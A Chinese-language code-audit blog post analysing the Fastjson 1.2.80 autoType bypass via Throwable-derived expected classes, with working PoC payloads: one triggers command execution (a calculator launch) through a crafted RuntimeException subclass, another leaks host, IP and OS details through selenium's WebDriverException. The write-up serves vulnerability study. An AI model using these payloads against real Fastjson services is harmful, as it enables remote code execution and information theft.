Java代码审计之Fastjson1.2.80反序列化漏洞

Java代码审计之Fastjson1.2.80反序列化漏洞

0x01 漏洞寻找

在fastjson的github地址中,有如下的提交记录,内容是修复autoType的bug

image-20220526172413997

https://github.com/alibaba/fastjson/commit/560782c9ee12120304284ba98b61dc61e30324b3

期望类使用了RuntimeException,而RuntimeException是继承于Throwable类

image-20220526172548573

RuntimeException继承于Exception类,Exception继承于Throwable类

image-20220526172708794

image-20220526172748841

0x02 测试POC

// fastjson小于1.2.80版本的绕过autotype的反序列化漏洞

package com.DemoFastjson.Demo1_2_80;
import com.alibaba.fastjson.JSON;

public class Demo1_2_80 {
    public static void main(String[] args){
        String text2 = "{\"@type\":\"java.lang.RuntimeException\",\"@type\":\"com.DemoFastjson.Demo1_2_80.TestException\",\"stackTrace\":[{\"@type\":\"java.lang.StackTraceElement\",\"className\":\"com.DemoFastjson.Demo1_2_80.Demo1_2_80\",\"fileName\":\"Demo1_2_80.java\",\"lineNumber\":28,\"methodName\":\"main\",\"nativeMethod\":false}]}\n";
        System.out.println(text2);
        Object obj2 = JSON.parse(text2);
        System.out.println(obj2);
    }
}

测试类

package com.DemoFastjson.Demo1_2_80;

import java.io.IOException;

public class TestException extends RuntimeException{
    static {
        try {
            Process proc = Runtime.getRuntime().exec("open -a Calculator");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
}

成功的执行了命令

image-20220606153502556

0x03 漏洞原理

利用链的类继承于RuntimeException类,在mapping里能够匹配到RuntimeException类,从而绕过checkAutoType进入到了ThrowableDeserializer里。

image-20220606154550633

0x04 漏洞修复后对比

在fastjson-1.2.80中调试,发现进入到了ThrowableDeserializer里

image-20220526173011616

进入到了ThrowableDeserializer的checkAutoType函数里。那么期望类的值不再是空,而是Throwable

image-20220526173138071

因为期望类的标志为True,所以这里加载了需要反序列化的类

image-20220526173315534

反序列化的类加到缓存中并返回

image-20220526173420526

后面就成功的反序列化了测试类。

接下来看1.2.83中调试,同样的代码在进入到checkAutoType时,红框里的代码是新增的,这里将如果期望类继承于Throwable,就置空。

image-20220526174718523

回到1.2.80中,可以看到没有上述的判断

image-20220526175127781

因此可以判断导致此次1.2.80及以下版本反序列化的原因是Throwable导致的。

后续就是寻找利用链。

0x05 非RCE的链

// fastjson小于1.2.80版本的绕过autotype的反序列化漏洞

package com.DemoFastjson.Demo1_2_80;
import com.alibaba.fastjson.JSON;

public class Demo1_2_80 {
    public static void main(String[] args){
        String text2 = "{\"@type\":\"java.lang.RuntimeException\",\"@type\":\"java.lang.Throwable\",\"content\": {\"$ref\":\"$x.systemInformation\"},\"@type\":\"org.openqa.selenium.WebDriverException\" }";
        System.out.println(text2);
        Object obj2 = JSON.parse(text2);
        System.out.println(obj2);


    }
}


image-20220606115205114

selenium-api-3.141.59.jar!/org/openqa/selenium/WebDriverException.class

可以看到WebDriverException继承于RuntimeException类

image-20220606115141203

public String getSystemInformation() {
        return String.format("System info: host: '%s', ip: '%s', os.name: '%s', os.arch: '%s', os.version: '%s', java.version: '%s'", HOST_NAME, HOST_ADDRESS, System.getProperty("os.name"), System.getProperty("os.arch"), System.getProperty("os.version"), System.getProperty("java.version"));
    }

image-20220606115339544

成功的反序列化,获取到了系统信息

image-20220606115518976


   转载规则


《Java代码审计之Fastjson1.2.80反序列化漏洞》 ske 采用 知识共享署名 4.0 国际许可协议 进行许可。